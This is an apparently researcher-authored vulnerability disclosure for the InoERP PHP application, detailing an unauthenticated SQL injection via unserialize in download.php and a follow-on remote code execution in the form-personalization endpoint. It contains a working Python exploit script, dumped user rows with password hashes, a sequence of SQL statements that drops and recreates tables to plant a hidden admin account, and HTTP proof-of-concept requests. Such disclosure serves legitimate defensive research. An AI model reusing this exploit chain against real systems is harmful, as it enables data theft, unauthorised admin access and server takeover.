How White-Box hacking works: InoERP Authentication Bypass and Remote Code Execution

We chose to improve security of the InoERP application by the next reasons:

  1. Alive forum. However, as the vendor pretended to be dead, we responsibly disclose these vulnerabilities.
  2. Popularity. The InoERP application is the first result on GitHub if look for “erp” and choose “php” as a language. Has 474 stars.
  3. Mozilla Public License (MPL).
  4. The project has the “/rips/” folder in the web root, so the vendor did static application security tests with a respectful freeware code scanner.

Authentication bypass

InoERP is a PHP application, and its deployment is as easy as putting all the files in the web root on top of the LAMP stack (Linux, Apache, MySQL, PHP). By default, all files within the web root are accessible from web.

Attack surface discovery

The first step of any White-Box security assessment is to define the attack surface. Within this context, the attack surface consists of all InoERP PHP files that use user-supplied data and don’t check authorization itself.


Before usual prioritizing of the attack surface, we searched for known sensitive functions, and found that an unauthorized user can execute arbitrary SQL queries. That’s how it works:

  1. File “inoerp/www/download.php” uses potentially unsafe “unserialize” function on line 25.
$str_var = $_POST["data"];

if (!empty($_POST['data_type']) && $_POST['data_type'] == 'sql_query') {
  $sql = unserialize(base64_decode($str_var));
  $array_var = json_decode(json_encode(dbObject::find_by_sql($sql)), true);
 } else {
  $array_var = unserialize(base64_decode($str_var));
  1. As mentioned in the code provided above, user may supply arbitrary data to variable “str_var” with the “data” POST request parameter. Then this data goes to the “unserialize” function, and then goes to function “dbObject::find_by_sql”. This function is defined in file: inoerp_server\assets\vendor\ino-oracle\, line 229:
 public static function find_by_sql($sql = "") {
  global $dbc;
  $conn = $dbc->connection;
  try {
   $qry = $conn->query($sql);
   $result_fetchAll = $qry->fetchAll(PDO::FETCH_CLASS);
   return $result_fetchAll;
  } catch (Exception $e) {
//    echo "<br>Error @dbObject @@ Line " . __LINE__ . $sql;
   return false;
  1. The function ‘find_by_sql’ executes SQL query without any sanitation or validation.

The next Python script grabs user information through this In-Band SQL injection:


import os
import base64
import requests
import sys

def generatePayload(query):
    b64_query = base64.b64encode(query);
    return os.popen("php -r \"echo base64_encode(serialize(base64_decode('" + b64_query + "')));\"").read()

def ExecSQL(query):
    data = {"data":query,
    r ="http://" + ip + "/download.php", data=data)
    return r.content

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print '(+) usage: %s <target> ' % sys.argv[0]
        print '(+) eg: %s "ierp/" ' % sys.argv[0]
    ip = sys.argv[1] + "/" + sys.argv[2]
    #if don't have php, set Payload to the next one to check this SQLi via "select @@version;" payload: czoxNzoic2VsZWN0IEBAdmVyc2lvbjsiOw== 
    data = r"select * from ino_user;"
    print ExecSQL(generatePayload(data));


root@attacker:~# python /
1||inoerp|$2y$10$3JUPAxEZlXCilIXNFYw8E.gpZo5DTBPANCDcJ8FchR2ua9DI/cFNq|inoerp|inoerp||34543543||en_US|0|1|4|||1|8||1|#ede4ec|#2291bf|#fafafa|658|0.900|1|3|2|2|4|1|1|0|0||10|639|1|1|1|||0|0|2014-08-26 12:51:31|1|2017-04-19 20:20:43|N|
2||admin|$2y$10$/WO8Ymjdlqi9EkCwFsacTecUTcANOPmDJF4D6hQwxhnvWXIGNibUu|Admin|Admin|||||0||||||||1|#f2a6ad|#86378c|#d3d3fa|||||2|2|4|1|1|0|0||10|1|1|1|1|||1|0|2014-09-13 19:16:52|2|2016-10-21 10:56:47|N|
3||ladmin|$2y$10$IGPuWvc8UzbgZF.mlIrU1uLtkE/f1UZnT.F6Q1H3ab8z9RVF0CL22|Local|Admin|||ladmin@localhsot||0||||default|||||#000000|#000000|#000000|||||2|2|4|1|1|0|0||10||1|1|1|||1|34|2015-05-06 04:40:14|1|2016-12-12 17:55:14|N|
4||buyer|$2y$10$ayQHbI49LnalTyF6eCEOp.bOMzRz5E/VnuAxB3yvgfJo06B8lJYoO|buyer|inoerp||34543543||en_US|0||4||||8||1|#fff9f9|#1f6dad|#fafafa|638|0.900|1||2|2|4|1|1|0|0||10|639|1|1|1|||1|1|2016-08-26 10:44:01|1|2016-09-02 06:39:58|N|
5||ani.india|$2y$10$X5cFYAhNsTdp36jXz40aAOI7ZxqXmnWAuT/6lCbI9fehUxj5SyI4i|ani_indi|sahu|||||0||||||||||||||||2|2|4|1|1|0|0||10||1|1|1|||1|-99|2016-09-27 23:12:53|-99|2016-09-27 23:12:53|N|
6||newuser1|$2y$10$jqavMFfmQzDN5TbqS9AveuZWPC.udVH4r55Yv.Ya4bOh1tmyHz0MK|new|user1|||||0||5|||||||#000000|#000000|#000000|||||2|2|4|1|1|0|0||10||1|1|1|||1|1|2016-10-18 15:55:33|1|2017-02-04 14:57:36|N|
Getting admin privileges

To actually bypass authentication we could:

  1. Dump and crack hashes.
  2. Modify the database content.
  3. Find other bugs and use them together with the SQLi.

The most silent, efficient, and elegant way is to modify the database content. We sadly found that we cannot use SQL injection to directly modify table rows in database. But the vulnerability allows to create and drop tables; therefore it’s possible to create new user and grant him an admin role. The code below describes the method we used.

    data = r"create table ino_user2 as select * from ino_user union select 1000000,NULL,'lltester','$2y$10$/WO8Ymjdlqi9EkCwFsacTecUTcANOPmDJF4D6hQwxhnvWXIGNibUu','lltester','lltester',NULL,'lltester','lltester@lltester',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'#000000','#000000','#000000',NULL,NULL,NULL,NULL,2,2,4,1,1,0,0,NULL,10,NULL,1,1,1,NULL,NULL,1,2,'2020-03-1410:13:25',2,'2020-03-1410:13:25','N',NULL;"
    print ExecSQL(generatePayload(data));

    data = r"drop table ino_user;"
    print ExecSQL(generatePayload(data));

    data = r"create table ino_user as select * from ino_user2;"
    print ExecSQL(generatePayload(data));

    data = r"drop table ino_user2;"
    print ExecSQL(generatePayload(data));

    data = r"create table user_role2 as select * from user_role union select 2000001,'ADMIN',1000000,2,'2020-03-1410:13:25',2,'2020-03-1410:13:25'"
    print ExecSQL(generatePayload(data));

    data = r"drop table user_role;"
    print ExecSQL(generatePayload(data));

    data = r"create table user_role as select * from user_role2;"
    print ExecSQL(generatePayload(data));

    data = r"drop table user_role2;"
    print ExecSQL(generatePayload(data));

And we can log in as a newly registered user with admin privileges.

Remote Code Execution

Attack surface discovery

With getting of administrative privileges, the attack surface enlarges with all administrative functions. Also, the attack vectors’ potential increases, because administrators usually can do the most sensitive actions.

Direct Code Execution

Administrators commonly need to use functions that run some code at the back-end. It’s a native thing, and it’s hard to keep these functions secure. So it’s reasonable for researchers to uncommonly use these functions. We found such functionality at “Admin -> System -> Form Personalization”.

Leads to RCE with a slight one-time deface.

The next request runs the arbitrary code. Change cookies to valid.

POST /modules/sys/form_personalization/json_fp.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 115
Connection: close
Cookie: _ga=GA1.1.2083825143.1584172194; _gid=GA1.1.1543901094.1584172194; INOERP123123=VALID_SESSION_COOKIE


To understand how this function works, we need to inspect the file “/modules/sys/form_personalization/json_fp.php”

require_once __DIR__.'/../../../includes/basics/';

if (!empty($_POST['get_fp_from_form']) && !empty($_POST['template_code'])) {
 $obj_class_name = $_POST['obj_class_name'];
 $template_code = $_POST['template_code'];
 $class_names = [$obj_class_name];
 include_once(__DIR__ . "/../../../includes/basics/");
 include_once(__DIR__ . "/../../../includes/functions/");
 echo '<div id="return_divId">';
 $tmpfname = tempnam(HOME_DIR . "/files/temp", "fp_");
 $handle = fopen($tmpfname, "w");
 fwrite($handle, $template_code);
 include_once $tmpfname;
 echo '</div>';

The application writes user-supplied content to a file. And we see that the application does not check user sessions before the code execution. The application may check it at the imported files, but a quick dynamic test confirmed that authorization is not required.

Proof-of-Concept request:

POST /modules/sys/form_personalization/json_fp.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 375
Connection: close



Unfortunately, automated scanners miss critical things by the obvious reason – there are multiple ways how to code the same thing. Manual white-box testing provides significantly more reliable and accurate results.

Lyhin’s Lab does not recommend usage of inoERP software by the next reasons:

  • overall level of InoERP security is extremely low
  • remediation efforts required to harden InoERP software is unreasonably high
  • inoERP vendor does not respond on fix requests

It’s a rare case when we suggest to change the target system to a stabler one, cause we could recommend usage of InoERP in hacking labs only.

LL advises to all the researchers do not break real applications illegally. This fun leads to broken businesses and lives, and, most likely, will not make an attacker really rich.